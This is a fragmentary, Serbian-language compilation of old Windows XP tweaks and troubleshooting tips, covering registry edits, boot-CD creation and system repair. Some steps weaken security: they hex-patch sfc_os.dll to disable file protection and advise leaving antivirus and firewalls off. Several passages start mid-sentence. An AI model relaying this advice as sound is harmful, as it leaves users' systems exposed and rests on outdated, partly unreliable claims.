Professional Documents
Culture Documents
SVE O WINDOWS-u XP
SVE O WINDOWS-u XP
Trikovi u Windows-u
Ukoliko se u tekstu pominje registry baza ili registry key i sl. njoj se moe pristupiti kroz
program RegEdit.exe (Start>Run... i ukucajte regedit ili regedit.exe. Kada jednom nadjete
vrednost, ime ili key koji ste traili, kliknite na njega (da poplavi) i idite na File>Export...
upiite neko ime po vaoj elji i kliknite na Save dugme. Ovim postupkom ste sacuvali deo
registry baze koji modifikujete i moete ga vratiti kada duplo kliknete LMB na fajl koji ste
napravili (sa Save dugmetom). Kreiranje stavke se vri tako to se pronadje odgovarajuca
vrednost (mesto na kome se nalazite vidite u Status Bar-u koja se nalazi u donjem delu
regedit prozora. Ako se ne vidi ukljucite je pod View>Status Bar), i pod padajucim menijem Edit odaberite New a zatim i vrednost tj. vrstu koja je naznacena.
DRAGAN MARKOVIC
2. Idite u HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
3. Nadjite stavku "LinksFolderName" i vrednost prepravite tako da bude prazna.
4. Startujte IE i obriite Links direktorijum iz Favorites-a. Ugasite IE i ponovo ga startujte i
Links se vie ne bi trebao pojavljivati.
DRAGAN MARKOVIC
ijumu. Ovo je kako bespotrebno usporavanje racunara tako i bespotrebno troenje
mesta. Da bi iskljucili kreiranje ovog fajla (pretpostavlja se da ce Windows pri tom i
obrisati vec postojece fajlove) uradite sledece:
1. Idite na Run... i ukucajte gpedit.msc
2. Idite u User Configuration/Administrative Template/Windows Components/Windows
Explorer
3. Duplo kliknite na stavku Turn off caching of thumbnail pictures i kada se prozor otvori
odaberite opciju enable. Kliknite na Apply i na OK.
Ovo moete uraditi i ako odete na Control Panel>Folder Options>View i iskljucite stavku
"Do not cache thumbnails". Ovim ce se direktorijumi koji u sebi sadre slike a koje
gledate kao thumbnail sporije otvarati, ali kako postoje mnogo bolji programi za
pregled slika i thumbnail-a (ACDSee ili IrfanView) gubitak je zanemarljiv.
DRAGAN MARKOVIC
frustracija.
Da bi ovo ispravili potrebno je u ikonici Windows Explorera promeniti parametre na
sledeci nacin:
1. Kliknuti desnim dugmetom mia na ikonicu Windows Explorer i odabrati opciju Properties.
2. Pod target upiite (bez navodnika): "C:\WINDOWS\explorer.exe /n,/e,c:\".
3. Kliknite na dugme Apply i na dugme OK i proces je zavren.
Ukoliko elite da otvorite D: particiju umesto "/e,C:" upiite "/e,D:".
DRAGAN MARKOVIC
Saveti za popravku CD/DVD diskova
Neverovatno ali istinito. Najjeftiniji nacin za popravku izgrebanih CD/DVD diskova je
obicna zubna pasta. Za najbolji ucinak se preporucuje pasta koja slui za izbeljivanje
zuba. Najbolje bi bilo da koristite mekanu krpu ili jo bolje vatu za ovaj proces. Pastu
treba utrljati od centra CD/DVD diska ka kraju tj. od rupe u centru ka krajnjim ivicama
diska (krenuti iznutra zavriti spolja) i to utrljavati u smeru suprotnom od smera okretanja diska.
Ukoliko se na disku nalaze veoma velike i duboke ogrebotine, moete probati da
nabavite supstancu za poliranje stakala koje koriste opticari pri poliranju naocara. Trebali
bi da odete u oblinju optiku i raspitate se o slicnoj supstanci.
Iako uspeh nije zagarantovan, uspeo sam da osposobim i spasim podatke sa oko 6 od 9
diskova koji su bili pokvareni i necitljivi.
DRAGAN MARKOVIC
Ime: NoWinKeys
Tip: REG_DWORD (DWORD Value)
Vrednost: (0 = disable restriction, 1 = enable restriction)
DRAGAN MARKOVIC
Ovaj tip ili bolje re?eno program?i? je namenjen onima koji koriste rezoluciju 800x600 ili
ve?u
Program menja veli?inu prozora IE iz odoka napravljene u njegovu stvarnu veli?inu
Program se moe i izmeniti, ali se to preporu?uje samo naprednijim korisnicima Windowsa jer zahteva prepravljanje registry baze
Download program ResizeIE
DRAGAN MARKOVIC
ostavite praznu ili je ako je otka?ena deselektujte. Kliknite na "OK".
U vrhu prozora vidite dve opcije i to: "No caller access" koja je selektovana, i "Allow caller
acces" koja nije.
Kliknite na krui? ispred "Allow caller access" i otvori?e vam se opcija "Change Password..." koja vam nije potrebna pa je nemojte dirati.
Sada moete da kliknete na "OK" i da ?ekate da budete pozvani (prozor "Dial-Up Server"
?e se zatvoriti a moe se pozvati iz "System Tray"-a koji se nalazi u desnom uglu "START"
menija). U slu?aju da kliknete na "Apply" prozor "Dial-Up Server se ne?e zatvoriti i vi ?e te
mo?i videti ko se konektovao i kada.
Napomena: Potrebno je da samo jedan od dvojice korisnika uradi gore navedeni postupak, da bi se mogle igrati igre a i koristiti ostali Network programi. Tako?e oba korisnika
mogu uraditi gore navedeni postupak radi smanjenja telefonskog ra?una. Ukoliko jedan
korisnik nema instaliran "Dial-Up Server" ili ga ne moe instalirati, ovaj drugi uvek mora
biti server.
Postupak za spajanje:
(Radi ga onaj koji naziva, onaj koji nema "Dial-Up Server" ili obojica radi smanjenja
telefonskog ra?una)
U prozoru "Dial-Up Networking" napravite novu konekciju (npr. Drugar)
Konfiguriite je kao i konekciju za Eu-Net s tim da nepiete Eu-Netov DNS ve? stavite na
Dinamic
Provera IP adrese:
Kada ste se uspeno spojili potrebno je da saznate vae IP adrese radi mogu?nosti
konektovanja igara i programa.
Pod "START" menijem kliknite na "RUN..."
Otkucajte "winipcfg" bez navodnika i kliknite "OK"
Kada sa program startuje, kliknite miem na "Renew All" u donjem delu prozora.
Pogledajte ta pie u pravougaoniku ispred koga je napisano "IP Address"
To je vaa IP adresa(npr. xxx.xxx.xxx.1 ili xxx.xxx.xxx.2)
Napomena: Potrebno je obratiti panju na zadnji broj u nizu. IP adresa onog ko je server
ce uvek imati "1" na kraju a kod onog koji poziva bi?e "2". Tako da ako Mile zove Peru, a
Mile vidi da je njegova IP adresa 123.123.123.2 onda je Perina adresa 123.123.123.1
Za komunikaciju moete koristiti WinPopup ili NetMeeting. Ja preporu?ujem NetMeeting koji ima CHAT opciju, kao i opciju za slanje fajlova. Kada startujete NetMeeting na
crnom prostoru otkucajte IP adresu sagovornika i miem kliknite na uti telefon?i?. Posle
toga kliknite na obla?i? u donjem delu prozora i spremi ste za CHAT.
DRAGAN MARKOVIC
Savrena optimizacija HardDiska
Ova procedura bi trebala da radi na svim Windows operativnim sistemima, ali je proverena samo na Win98.
Startujte notepad i ucitajte fajl System.ini
Pod [boot] sekcijom promenite "shell=explorer.exe" u "shell=defrag.exe" i posle toga
rebutujete.
Kada se startuje Windows ucitace se jedino Disk Defragmenter. Optimizujte HD i ponovo
rebutujte.
Pre nego to Windows pocne sa startovanjem pritisnite F8 i izaberite "Command Prompt
Only" i otkucajte "edit system.ini"(bez navodnika) i pod [boot] sekcijom promenite
"shell=defrag.exe" u "shell=explorer.exe" i jo jednom rebutujte.
HD vam je savreno optimizovan. Uivajte !!!
DRAGAN MARKOVIC
1. Morate naci fajl koji ima mogucnost da osposobi CD disk da bube butabilan. Pokuajte
na sajtu http://www.bootdisk.com/ Takodje skinite fajl
http://home.online.no/~msols/bootfiles.zip (za pravljenje WinXP boot diska). Nero u sebi
ima image (sliku) butabilne diskete koju moete uspeno koristiti.
2. Skinite odgovarajuci fajl i otpakujte ga u privremeni direktorijum ili ga prebacite u .ima
format koristeci WinImage program ukoliko ste skinuli fajl sa BootDisk.com sajta. Alternativno, koristite .ima fajl koji se nalazi u NERO direktorijumu.
3. Startujte Nero program. Idite na File>New... Ukoliko se pojavi Wizard iskljucite ga
pomocu Close Wizard dugmeta.
4. Odaberite CD-ROM (BOOT)
5. Idite na Boot tab i odaberite Image file u delu Source of boot image data. Za image fajl
odaberite fajl koji ste pripremili, Nerov fajl ili fajl sa sajta BootDisk.com. Pod File of type
namestite All Files (*.*).
6. cekirajte Enable Expert Settings
7. Pod Kind of emulation: podesite No Emulation
8. Pod Boot message upiite Microsoft Windows XP SP1a
9. OBAVEZNO pod Load segment of sectors (hex!): upiite 07C0
10. OBAVEZNO pod Number of loaded sectors: upiite 4
11. Idite na ISO tab.
12. Pod File-/Directory name length namestite ISO Level 1 (Max. of 11 = 8 + 3 chars)
13. Pod Format namestite Mode 1
14. Pod Character Set namestite ISO 9660
15. Cekirajte Joliet
16. Pod Relax ISO Restrictions cekirajte sve stavke
17. Idite na Lable tab
18. Selektujte ISO9660 u padajucem meniju
19. Cekirajte Also use the ISO9660 text for Joliet
20. Idite na Dates tab i namestite Use the date and time from the original file
21. Idite na Burn (Write) tab
22. Cekirajte Write i Finalize CD (No further writing possible!)
23. Podesite Write Method na Track-At-Once
24. Iskljucite, ako je ukljucen Virus check
25. Kliknite na New
32. U File Browser prozoru nadjite sadraj koji hocete da prebacite na disku i prebacite ih
u ISO1 prozor. Fajlovi koji se nalaze na boot disketi ne trebate prebacivati.
33. Kliknite na Write (Burn) dugme i kliknite na Write (Burn) u tom prozoru.
34. Kada se proces zavri ugasite Nero i pokuajte da butujete racunar sa napravljenog
CD diska
DRAGAN MARKOVIC
XP CD diska pri cemu mu dodajete service pack kako kasnije ne bi morali da ga posebno
instalirate i time dodatno opteretite sistem. Ovo je savreno i potpuno legalan proces i
ne postoji mogucnost nikakvog naruavanja nicijih prava.
Za ovaj postupak vam je potrebno sledece:
- Windows XP instalacioni CD
- Najnoviji SP (service pack). U ovom momentu SP1a
- butabilni fajl koji moete naci na sajtu http://www.bootdisk.com/ Skinite butabilni
fajl za Win XP\2K.
- Prazan CD disk (jo bolje RW radi provere i da ne bi unitili CD ukoliko neto ne
proradi)
- Nero Burning Rom(e) program
- CD-R ili CD-RW uredjaj.
1. Napravite na C: disku direktorijum XP i u njemu sledece direktorijume CD-ROOT,
XP-BOOT, i XP-SP1
2. Prekopirajte ceo sadraj Windows XP instalacionog CD-a u direktorijum CD-ROOT
3. Prekopirajte Service Pack (sp1a) fajl u direktorijum C:\XP
4. Preimenujte Service Pack (sp1a) fajl u XP-SP1.EXE
5. Idite na Start>Run... i ukucajte slede?e C:\XP\XP-SP1.EXE -U -X:C:\XP\XP-SP1. Ovim ste
otpakovali SP1.
6. Idite na Start>Run... i ukucajte sledece C:\XP\XP-SP1\UPDATE\UPDATE.EXE
-S:C:\XP\CD-ROOT. Ovim ste pokrenuli update (nadogradnju) Originalne verzije Windowsa na SP1a verziju to nam je i bio cilj. Sacekajte neko vreme i proces ce se zavriti,
nadamo se uspeno. Ukoliko neto nije u redu, proverite da li ste sve dobro kucali.
7. Startujte Nero program. Idite na File>New... Ukoliko se pojavi Wizard iskljucite ga
pomocu Close Wizard dugmeta.
8. Odaberite CD-ROM (BOOT)
9. Idite na Boot tab i odaberite Image file u delu Source of boot image data. Za image fajl
odaberite fajl koji ste skinuli sa interneta i koji ste otpakovali u XP-BOOT direktorijum.
Pod File of type namestite All Files (*.*). Fajl koji traimo se verovatno naziva boot.bin
10. Cekirajte Enable Expert Settings
11. Pod Kind of emulation: podesite No Emulation
12. Pod Boot message upiite Microsoft Windows XP SP1a
13. OBAVEZNO pod Load segment of sectors (hex!): upiite 07C0
14. OBAVEZNO pod Number of loaded sectors: upiite 4
15. Idite na ISO tab.
16. Pod File-/Directory name length namestite ISO Level 1 (Max. of 11 = 8 + 3 chars)
17. Pod Format namestite Mode 1
18. Pod Character Set namestite ISO 9660
19. Cekirajte Joliet
20. Pod Relax ISO Restrictions cekirajte sve stavke
21. Idite na Lable tab
22. Selektujte ISO9660 u padajucem meniju
23. Pod Volume Label, System Identifier, Volume Set i Application upiite
WINXP_SP1_EN
DRAGAN MARKOVIC
24. Pod Publisher i Data Preparer upiite MICROSOFT_CORPORATION
25. Cekirajte Also use the ISO9660 text for Joliet
26. Idite na Dates tab i namestite Use the date and time from the original file
27. Idite na Burn (Write) tab
28. Cekirajte Write i Finalize CD (No further writing possible!)
29. Podesite Write Method na Track-At-Once
30. Iskljucite, ako je ukljucen Virus check
31. Kliknite na New
32. U File Browser prozoru na?ite direktorijum C:\XP\CD-ROOT i sav njegov sadraj
prebacite u ISO1 prozor
33. Kliknite na Write (Burn) dugme i kliknite na Write (Burn) u tom prozoru.
34. Kada se proces zavri ugasite Nero i pokuajte da butujete racunar sa napravljenog
CD diska
DRAGAN MARKOVIC
Ubrzajte start posle pada sistema
Svaki put kada se Windows XP zamrzne ili na drugi nacin ugasi zbog bilo kakve greke,
on vri dump memorije radi dijagnoze i utvrdjivanja pada sistema. Ukoliko imate mnogo
memorije dump moe da traje vrlo dugo. Podesite par opcija i reite se slicnih problema.
1. Idite na Start>Settings>Control Panel
2. Kliknite na System ikonicu duplim klikom
3. Odaberite tab Advanced
4. Pod delom Startup and Recovery kliknite na Settings
5. Pod System failure isklju?ite Automatic Restart. Ostale dve opcije ostavite cekirane a
ako nisu cekirajte ih
6. Pod Write debugging information postoji padajuci meni u kome moete odabrati
cetiri opcije. Odaberite Small memory dump (64 KB) na taj nacin to ce te da kliknete na
malu strelicu koja pokazuje na dole i odabrati navedenu opciju.
7. Kliknite na OK i opet na OK. Pogasite sve prozore a zatim restartujte racunar.
DRAGAN MARKOVIC
NAPOMENA: Ovaj tweak ne usporava niti na bilo koji nacin utice na rad Outlook-a.
NAPOMENA 2: Uklanjanje Windows Messenger-a ce onemoguciti pravilan rad i moe
ugroziti kompletan rad remote assistance-a, whiteboard-a i application sharing-a.
DRAGAN MARKOVIC
Iskljucite Web Content u Exploreru i Desktopu
Pored toga to iskljucuje Web Content, takodje i uklanja "Desktop" tab iz Display
Properties-a. Ukoliko niste u mogucnosti da ukljucite Active Desktop, ukljucite ovu
opciju.
1. Startujte regedit
2. Idite u
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3. Pronadjite stavku "ClassicShell" a ako je nema napravite novi DWORD sa navedenim
imenom
4. Unesite vrednost "0" ako ho?ete da ukljucite Web Content, a "1" ako hocete da ga
iskljucite
5. Restartujte Windows.
DRAGAN MARKOVIC
3. U delu Security pronadjite Empty Temporary internet files folder when browser is
closed stavku i cekirajte je.
4. Restartujte racunar i posle svakog gaenja Internet Explorera sadraj privremenih
internet fajlova (Temporary Internet Files) tj. direktorijuma sa skinutim stranicama,
slikama i ostalim sadrajem ce biti izbrisan.
DRAGAN MARKOVIC
probleme tako to ne dozvoljava modifikaciju raznih fajlova ukljucujuci i njihovo
premetanje, preimenovanje, brisanje i sl. Sledecim postupkom moete ukloniti tj.
iskljuciti tu opciju. NAPOMENA: Ova procedura zahteva vii nivo poznavanja racunara i
autor ove stranice se ogradjuje od bilo kakvih problema koji mogu nastati koricenjem
ovog opisa ili bilo kakvih gubitaka ili kvarova sistema. Sve radite na sopstveni rizik.
1. Ova procedura prepravljanje registry baze je izgleda isklju?ena u Windows XP i Windows 2000 operativnom sistemu, ali je potrebna posle modifikacije sistemskog fajla. Na
Win2K i Win2K SP1 registry procedura funkcionie.
2. Startujte regedit
3. Idite u HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon
4. Pronadjite "SFCDisable" a ukoliko ne postoji kreirajte novi DWORD sa navedenim
imenom.
5. Vrednosti koje se mogu uneti su sledece:
0 - da bi se opcija ukljucila
1 - opcija iskljucena, ali ce pri startu sistema da iskoci upitnik da se opcija
ukljuci
2 - opcija je iskljucena samo za sledeci start sistema, a posle toga se sama
ukljucuje bez upitnika
4 - ukljucena, ali postoji upitnik da se iskljuci
ffffff9d - da se totalno iskljuci
6. Postavite vrednost koja odgovara vaoj elji. Da bi skroz iskljucili ovu opciju u vrednost
(value) ukucajte ffffff9d.
7. restartujte sistem da bi podeavanja bila aktivirana.
U Windows XP i Windows 2000 SP2 je pre ovog registry tvika uraditi sledece:
Windows XP
1. Otvorite Windows Explorer i idite u C:\WINDOWS\SYSTEM32 i na?ite fajl SFC_OS.DLL
2. Obeleite ga (da poplavi) i pritisnite redom slede?u kombinaciju tastera na tastaturi
CTRL+C a zatim CTRL+V i jo jednom CTRL+V. Ovi ste napravili kopije ovog fajla koje se
zovu Copy of SFC_OS.DLL i Copy (2) of SFC_OS.DLL.
3. Prekopirajte Copy (2) of SFC_OS.DLL u neki privremeni direktorijum npr. napravite
direktorijum na C: disku C:\0\ i tu iskopirajte fajl.
4. Preimenujte Copy of SFC_OS.DLL u Copy of SFC_OS.DL_ da ga sistem ne bi u?itavao
na slede?em butu i time pravio probleme. Time ste sa?uvali originalni fajl koji moete
ponovo koristiti ako do?e do nekih neeljenih efekata.
5. Fajl Copy (2) of SFC_OS.DLL preimenujte u SFC_OS2.DLL i otvorite ga u nekom HEX
editoru, npr WinHex ili neto sli?no.
6. Za Windows XP bez SP1 (service pack 1) idite na offset 0000E2B8 (0E2B8h) i na?ite
vrednosti "8B" i "C6".
7. Za Windows XP sa SP1 (service pack 1) idite na offset 0000E3BB (0E3BBh) i na?ite
vrednosti "8B" i "C6".
DRAGAN MARKOVIC
NAPOMENA: Ukoliko niste nali ove vrednosti na nazna?enom offsetu ne nastavljajte
dalje i obriite sve fajlove koje ste napravili a proceduru prekinite.
8. Vrednosti "8B" i "C6" zamenite sa "90" tako da umesto da pie "8BC6" pie "9090".
9. Idite na Start>Run... i kucajte cmd i kada vam se otvori komandni prozor kucajte cd
c:\0\
10. U komandnom prozoru kucajte slede?e komande
copy c:\0\sfc_os2.dll c:\windows\system32\sfc_os.dll /y
copy c:\0\sfc_os2.dll c:\windows\system32\dllcache\sfc_os.dll /y
11. Ukoliko vam Windows zatrai CD kliknite na Cancel. Restartujte sistem i uradite
registry tvik koji se nalazi na po?etku teksta. Restartujte ra?unar i zatita fajlova bi trebalo
da je ukinuta. Sada vam se ne bi trebalo deavati da ne moete da obriete neki fajl.
DRAGAN MARKOVIC
Iskljucite prijavljivanje nedostatka mesta na HDD-u
1. Startujte regedit
2. Idite u
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\
3. Ukoliko ne postoji napravite novu DWORD stavku sa imenom "NoLowDiskSpaceChecks" i dodelite joj vrednost "1" a ukoliko postoji promenite vrednost u "1".
4. Restartujte Windows i vie ne?ete dobijati obavetenja da imate malo mesta na Hard
Disku.
DRAGAN MARKOVIC
Pristupite podeavanju skrivenih opcija u Windows XP-u
1. Idite na Start>Run... i kucajte gpedit.msc
2. Pregledajte opcije i videcete mnogo opcija koje su dostupne samo kroz editovanje registry
baze. Sada ih moete editovati vrlo lako.
DRAGAN MARKOVIC
Uklonite MSN Messenger iz Outlook Express-a
1. Startujte regedit
2. Idite u HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express
3. Na?ite stavku Hide Messenger a ako ne postoji napravite novi DWORD sa tim imenom.
Vrednost promenite ili je podesite na 2.
4. Ugasite Outlook Express ukoliko je startovan. Ova promena ce biti vidljiva kada startujete
Outlook Express
DRAGAN MARKOVIC
Ubrzajte prikaz ikona u My Network Places direktorijumu
1. Startujte Windows Explorer
2. Idite na Tools padaju?i meni i odaberite opciju Folder Options...
3. Idite na View tab
4. Prona?ite opciju Automatically search for network folders and printers.
5. Ukoliko je uklju?ena (?ekirana) isklju?ite je (de?ekirajte), a ukoliko nije ?ekirana ostavite je
tako.
6. Kliknite na OK i ugasite sve prozore koje ste otvarali prilikom ovog procesa
DRAGAN MARKOVIC
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
3. Na?ite stavku SizReqBuf i promenite joj vrednost u 14596. Ukoliko ne postoji, kreirajte novi
DWORD i kucajte navedene vrednosti.
4. Restartujte ra?unar
DRAGAN MARKOVIC
Koristite Windows Update bez registracije Windowsa
1. Startujte regedit
2. Idite u HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
3. Napravite novu STRING i nazovite je RegDone. Za vrednost unesite 1. Ukoliko ve? postoji
modifikujte vrednost da bude 1.
4. Proverite da li postoji HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Welcome\RegWiz i ako ga nema napravite ga.
5. Restartujte ra?unar.
Ovim se ne preska?e ili na bilo koji drugi na?in zaobilazi aktivacija Windows XP sistema. Ovo je
samo za one koji ne ele da budu prijavljeni kao vlasnici Win XP-a.
DRAGAN MARKOVIC
Promenite boju pozadine pri Logon-u
1. Startujte regedit
2. Idite u HKEY_USERS\.DEFAULT\Control Panel\Colors\ i pronadjite stavku Background.
3. Kliknite na prazno mesto na desktopu i odaberite Properties. Kliknite na Apperance tab i
zatim na Advanced dugme.
4. Kliknite na pozadinu (van svakog prozora i ako je niste menjali obicno je tamno plava).
Kliknite na Color 1 i odaberite Other...
5. Brojeve koje ste videli pod Background i regedit programu odgovaraju bojama pod Red,
Green i Blue respektivno. Kada nadjete boju koju elite, zapiite vrednosti. Idite u regedit i duplo
kliknite na Background stavku. Upiite brojeve koje ste zapisali i kliknite na Apply (OK).
6. Zatvorite sve Display Properties prozore tako to ce te kliknuti na Cancel a ne na OK. Na ovaj
nacin necete promeniti nita na desktopu.
7. Restartujte racunar. Pokuajte da se LogOff-ujete i vidite da li se boja promenila.
DRAGAN MARKOVIC
"NoFileFolderConnection"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"NoNetCrawling"=dword:00000001
Pritisnite CTRL+C kombinaciju tastera. Idite u notepad i pritisnite CTRL+V kombinaciju tastera
na tastaturi.
3. Snimite fajl sa imenom npr. winexpslow.reg ili neko sli?no ime ali je vano da mu dodate .reg
ekstenziju.
Prona?ite snimljeni fajl u Windows Exploreru i duplo kliknite na njega da bi ga startovali.
4. Pojavi?e vam se poruka koja glasi "Are you sure you .....". Kliknite na Yes.
5. Restartujte ra?unar.
(Preuzeto iz The Tweaking Experience 2.0 help fajla)
DRAGAN MARKOVIC
Kako popraviti Internet Explorer u WinXP OS-u.
Ponekad se deava da se Internet Explorer pokvari tj. da se neki parametri ili fajlovi koje on
koristi pokvare pa je potrebno reinstalirati Internet Explorer. Ukoliko imate posebnu instalaciju
IE-a to nije problem, ali ukoliko je nemate moete je instalirati sa Windows XP instalacionog
CD-a.
1. Idite na Start>Run... i kucajte cmd
2. Ubacite Windows XP instalacioni CD u CD ure?aj.
3. u dos prozoru kucajte rundll32.exe setupapi,InstallHinfSection DefaultInstall 132
%windir%\Inf\ie.inf
4. Pratite uputstva na ekranu.
DRAGAN MARKOVIC
Ukoliko se Windows cudno ponaa, uradite sledece...
Ukoliko se Windows pocne ponaati vrlo cudno, dugo se startuje ili gasi, blokira programe pri
radu (vie nego obicno) i sl. pokuajte neke od ovih saveta...
1. Skinite program koji proverava racunar od programa koji se instaliraju sa interneta (poznati
kao spyware i adware). Jedan od preporucenih bi bio Spybot - Search & Destroy (sajt:
http://patrick.kolla.de/ ). Instalirajte ga i proverite da li ima nove definicije programa (update
opcija postoji u programu). Pokrenite proveru i ostavite ga da proveri ceo racunar. Kada zavri,
imacete listu svih stvari koje se nalaze na vaem racunaru a koje su deklarisane kao
neodgovarajuce, pijunske, reklamne i sl. Obriite ih sve, ali imajte na umu da neki programi
posle ovoga nece raditi (RadLite, DivX besplatni kodek ali samo za pakovanje video formata,
dok ce te bez problema moci gledati filmove i sl). Ovo nije nikakav problem jer programe uvek
moete ponovo instalirati i poterati Spybot i videti koje programe on nalazi a vama su
potrebni. Svaku definiciju moete iskljuciti iz pretrage unutar programa.
2. Proverite racunar od virusa. Spojite se na internet i skinite najnoviji fajl sa definicijama virusa
za va virus skener. Skenirajte prvo sistemsku particiju (najcece C: particija tj. particija na kojoj
se nalazi Windows ili WinNT direktorijum) i skenirajte je CELU tj. sve direktorijume na njoj.
Ukoliko se pokae da postoji virus, potraite na internetu nacin na koji se virus uklanja sa
racunara (pogledajte sajt http://www.kaspersky.com/ ). Opciono proveriti i sve ostale particije
(D:, itd...)
3. Upotrebite neki od programa za proveru racunara kao npr. Fix-it utilities, System Mechanic,
RegScrubXP ili kombinaciju pomenutih koju preporucujem (pogotovo kombinaciju prva dva).
Startujte prvo System Mechanic i proverite vau registry bazu (System tab opcija Clean
system registry). Obriite sve to vam je program predloio. Isto uradite i sa programom Fix-It
utilities (System registry tab, opcija RegistryFixer). Po potrebi upotrebite i RegScrubXP.
4. Iskljucite hibernaciju i virtualnu memoriju. Hibernaciju iskljucujete u Control Panel>Power
Options Hibernate tab i iskljucite Enable hibernation. Virtualnu memoriju iskljucite na desni
klik na My Computer, Advanced tab, performance settings, Advanced tab, Virtual memory
settings change dugme, odabrati no paging file bullet (opciju) i kliknuti na set( ili ici u Control
Panel>System, Advanced tab, performance settings, Advanced tab, Virtual memory settings
change dugme, odabrati no paging file bullet (opciju) i kliknuti na set). Restartovati racunar i
ukljuciti Virtualnu memoriju OBAVEZNO i po potrebi hibernaciju.
5. Proveriti integritet diska. Otvoriti Windows Explorer, kliknuti desno dugme na C: i odabrati
properties, odabrati tools tab, pod error-checking kliknuti na check now i kada iskoci novi
prozor kliknuti na Start. Opciono ukljuciti Automatsku popravku sistemskih greaka
(Automatically fix file system errors). Isto uraditi za sve particije na disku.
6. Deinstalirajte poslednji instalirani program ili pokuajte da nadjete stariju (ili noviju) verziju
poslednje instaliranog programa. (BSPlayer verzija 100.800 ima nekih cudnih problema, ali
verzija 086.501 radi odlicno). Takodje deinstalirajte poslednje instalirane drajvere i zamenite ih
novijim ili starijim. Sve ovo vai ukoliko su se problemi poceli javljati neposredno (odmah)
posle instalacije nekog programa ili drajvera.
7. Reinstalirajte DirectX i kodeke za Windows Media Player.
8. Ubacite XP instalacioni disk i idite na Start>Run i kucajte sfc /scannow. Ovim ce to
DRAGAN MARKOVIC
popraviti sve pokvarene sistemske fajlove ukoliko ih ima.
9. Pokuajte da popravite instalaciju Windowsa pomocu XP instalacionog CD-a. Ubacite disk i
startujte setup sa diska.
10. Upotrebite system restore ukoliko ga imate.
11. Proverite da li vam neka komponenta u racunaru pravi probleme.
12. Poslednja opcija je kompletna reinstalacija Windows XP operativnog sistema. Upotrebite
BackRex program za bekapovanje podeavanja za internet, Outlook Express, Internet Explorer,
Address Book, E-mail potu i tt... Bekapujte My Documents direktorijum na sigurno mesto.
Ubacite XP instalacioni (i butabilni) CD, podesite bios tako da se startuje sa CD uredjaja,
Formatirajte C: particiju i instalirajte Windows.
Moja preporuka je da reinstalirate Windows od pocetka samo u slucaju da imate virus ili ako
nita drugo ne pomae. Neka vam reinstalacija Windowsa bude poslednja, poslednja solucija.
DRAGAN MARKOVIC
Probajte da promenite drajvere. Drajveri ?esto znaju da prave probleme. Neki drajveri su dobro
optimizovani za va model grafi?ke kartice, dok drugi nisu i optimizovani su za novije modele.
Generalno noviji drajveri su uvek bolji, ali se postavlja pitanje da li ?e raditi kako treba na vaoj
grafi?koj kartici. Drajveri koji vam trebaju obi?no su drajveri sa verzijom koja je bila aktuelna u
vreme izlaska grafi?ke kartice (Za GF4 najbolji detonator/forceware drajveri su bili drajveri
verzije 4x.xx, dok je prva verzija 5x.xx drajvera mnogo sporija i optimizovana je za GF FX seriju).
Preporu?ujem da nabavite neki od popularnih testova, npr. 3D Mark 2xxx verziju i skinete patch
za nju, i testirate ra?unar sa postoje?im drajverima. Rezultate snimite, instalirate drugu verziju
drajvera (viu ili niu tj starije ili novije drajvere) i testirate ra?unar ponovo. Uporedite rezultate
i vidite koji drajveri vam vie odgovaraju. Ukoliko neki drajveri prave probleme, prvo probajte
noviju verziju a ukoliko niste zadovoljni rezultatima probajte stariju.
Proverite Direct X verziju. Ponekad je potrebno da proverite koju verziju Direct X-a igra zahteva.
Deava se da se ponekad fajlovi Direct X-a "pokvare" i da zbog toga nastaju problemi. Generalno svaka igra na svom CD-u ima verziju DX-a koja joj je potrebna. Ukoliko imate verziju koja
je nia od potrebne za igru, morate instalirati verziju sa CD-a igra. Ukoliko imate noviju verziju
DX-a nije potrebno instalirati niu verziju. Obi?no se u ReadMe fajlu na CD-u nalazi potrebna
verzija DX-a. Da bi videli koju verziju DX-a vi imate idite na Start>Run.. u kucajte dxdiag i kliknite
na OK. Verzija instaliranog DX-a se nalazi na ekranu tj. na tab-u koji se prvi pojavi i izgleda slino
ovome DirectX Version: DirectX 9.0b (4.09.0000.0902). Nikada nije na odmet instalirati
najnoviju verziju DirectX-a. Napomena za vlasnike VIA mati?nih plo?a. Ukoliko instalirate 4-in-1
drajvere i drajvere za onboard audio karticu, posle instalacije drajvera instalirajte (reinstalirajte)
i DirectX jer se u nekim slu?ajevima deavalo da se DX "pokvari".
Proverite da li vam neki program pravi probleme. Mogu?e je da neki programi koji su startovani
u vreme igranja prave probleme. Najvie problema prave propratni programi koji tite ra?unar
od virusa, firewall programi, programi za "ubrzanje" ra?unara, Windows services i sl. Najbolje je
da ih sve isklju?ite i pokuate da startujete igru. Ukoliko igra radi bez problema, problem je neki
od programa. Pogledajte sekciju Windows XP Services i Task Manager Task List i vidite ta
moete uraditi da bi isklju?ili pojedine programe. Programi koji su dosta ozloglaeni su ATI-jevi
programi koji se instaliraju sa drajverima a nisu neophodni, Norton paket programa (Antivirus,
zatita od blokiranja koja vie blokira nego pomae ra?unaru, ghost sistema i sl). Napominjem
da se ra?unar ne moe zaraziti virusom sam od sebe. Nije potrebno da vam antivirus program
bude startovan uvek. Dovoljno je da se startuje onda kada radite sa novim programima ili sa
novim fajlovima Office paketa. Bilo bi dobro kada bi sli?ne programe isklju?iti a fajlove proveravali ru?no. Ovim, postiete ve?u stabilnost sistema a pri tome ste sigurni da program nije zaboravio da neto proveri. Kao alternativa nortonu preporu?ujem mnogo jeftiniji Kasperski AntiVirus program koji u sebi ima i zatitu e-mail klijenta i Internet Explorera tako to proverava
izvorni kod i detektuje sve to li?i na virus, te ga izbacuje i javlja vam ta se desilo. Tako?e firewall
programi poput Windows-ovog firewall-a ili Zone Alarm-a vam nisu potrebni kada niste na
internetu. Preporu?ujem da ih ugasite i startujete po potrebi (ovo moe biti problem za
Windows-ov firewall, ali kako je Zone Alarm bolji njega bih vam preporu?io). Za ovo mogu da
